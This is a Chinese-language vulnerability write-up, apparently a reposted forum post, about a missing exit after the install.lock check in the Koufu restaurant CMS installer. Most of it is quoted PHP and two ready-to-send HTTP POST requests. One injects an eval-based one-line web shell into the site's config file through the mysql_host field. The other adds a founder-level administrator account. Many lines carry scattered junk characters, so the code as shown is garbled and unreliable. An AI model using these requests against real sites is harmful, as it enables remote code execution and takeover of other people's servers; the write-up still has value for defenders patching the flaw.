口福科技餐厅cms漏洞(可getshell)

admin

问题出在/install/index.php文件。在程序安装完后，会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
; c  P9 e  b: g! O9 U3 o- ?. h
<?php
if(file_exists("../install.lock"))
2 w# E# p; @- |" u{
2 u6 ^; _4 y. T: r    header("Location: ../");//没有退出
4 O$ a9 ~/ o4 ^2 E3 p; K}
               
//echo 'tst';exit;
- s. x, s. i+ M0 Crequire_once("init.php");
" L& `4 T5 S  ~* ]3 b; W; Jif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
{
' T/ w7 @) V! t% u0 g6 o可见在/install/index.php存在时，只是header做了302重定向并没有退出，也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。

$ }! t; ]2 K4 g2 a# l$ U3 L1、getshell（很危险）
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
1 i" x  A+ b: r( ?' q  g{
# Y% }3 o+ o0 N7 O+ W& q$smarty->assign("step",1);
$smarty->display("index.html");
}elseif($_REQUEST['step']==2)
{
% V: E0 A* N3 J! O  n/ y    $mysql_host=trim($_POST['mysql_host']);
    $mysql_user=trim($_POST['mysql_user']);
    $mysql_pwd=trim($_POST['mysql_pwd']);
1 v& C" o) J3 m: w/ A, X% b) L    $mysql_db=trim($_POST['mysql_db']);
4 m0 P% \6 t% @4 r0 d( H! V    $tblpre=trim($_POST['tblpre']);
    $domain==trim($_POST['domain']);
$ y9 Q$ i& t8 Q' ^+ v# V% ]& r    $str="<?php \r\n";
5 R: X7 z0 N! v( g    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
3 h" L3 o0 S! ]! e% m  r$ x4 x    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
3 ]6 i# A8 e* D* Q, H# ~4 I    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
1 q, p) {; \8 Q7 J  Y2 S; j9 X    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
6 C8 A& I7 M% |. q% D! g    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
1 r8 Q( d3 G0 H3 ^" x( v2 _& ^/ p    $str.='define("SKINS","default");'."\r\n";
    $str.='?>';
) s! s3 r7 b8 S) X. m6 M' i* i    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
0 @5 |2 [3 }6 }$ ^上面的代码将POST的数据直接写入了../config/config.inc.php文件，那么我们提交如下POST包，即可获得一句话木马
, q0 R) C8 M& h( q( x1 S; }2 F9 GPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
8 ]; D- p& v1 tHost: 192.168.80.129
7 T; _3 Q$ P/ }" q+ ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
4 u& w9 i9 [1 D, f$ W/ L% ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  N2 Z  o8 [. o+ h6 u$ y$ hAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
7 _, B" s; V/ }/ b7 E. nReferer: http://192.168.80.129/canting/install/index.php?step=1
6 e# P6 K5 K& `* qCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
: s# g0 x& G/ ]Content-Length: 126
7 M$ N$ E( l5 u" w3 @         
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
但是这个方法很危险，将导致网站无法运行。

0 q" g) m, ?  _) Y, u1 L6 ]* L2、直接添加管理员
, r" h6 A, T& Y# R  w& \
% Q0 c1 A3 `* \' T" melseif($_REQUEST['step']==5)
3 @! h' a; S8 y" b{
    if($_POST)
    {   require_once("../config/config.inc.php");
$ A) b: I4 g# u        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
        mysql_select_db(MYSQL_DB,$link);
        mysql_query("SET NAMES ".MYSQL_CHARSET );
         mysql_query("SET sql_mode=''");

$adminname=trim($_POST['adminname']);
7 Y6 B! x- J! s. p/ e        $pwd1=trim($_POST['pwd1']);
        $pwd2=trim($_POST['pwd2']);
& D" d4 ^2 G: K( e5 {        if(empty($adminname))
        {

echo "<script>alert('管理员不能为空');history.go(-1);</script>";
            exit();
        }
' [  l) u% U8 S) B' X        if(($pwd1!=$pwd2) or empty($pwd1))
4 u, b  r5 ?+ [  d7 U% o        {
2 Z9 g5 _0 V5 s# _( R6 U3 z% t            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
        }
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
    }
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号，语句如下：
8 O! Z% `3 Y9 r6 UPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
+ J' u7 N1 @8 V1 |! bHost: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' T. f! M8 |8 V( z$ Y5 |Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# n' @7 k2 V6 ~0 _Accept-Encoding: gzip, deflate
Referer: http://www.2cto.com /canting/install/index.php?step=1
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
      
5 `; E% T: v( B8 d- o& A5 @( Radminname=qingshen&pwd1=qingshen&pwd2=qingshen​
# d' l) J8 ]7 B: C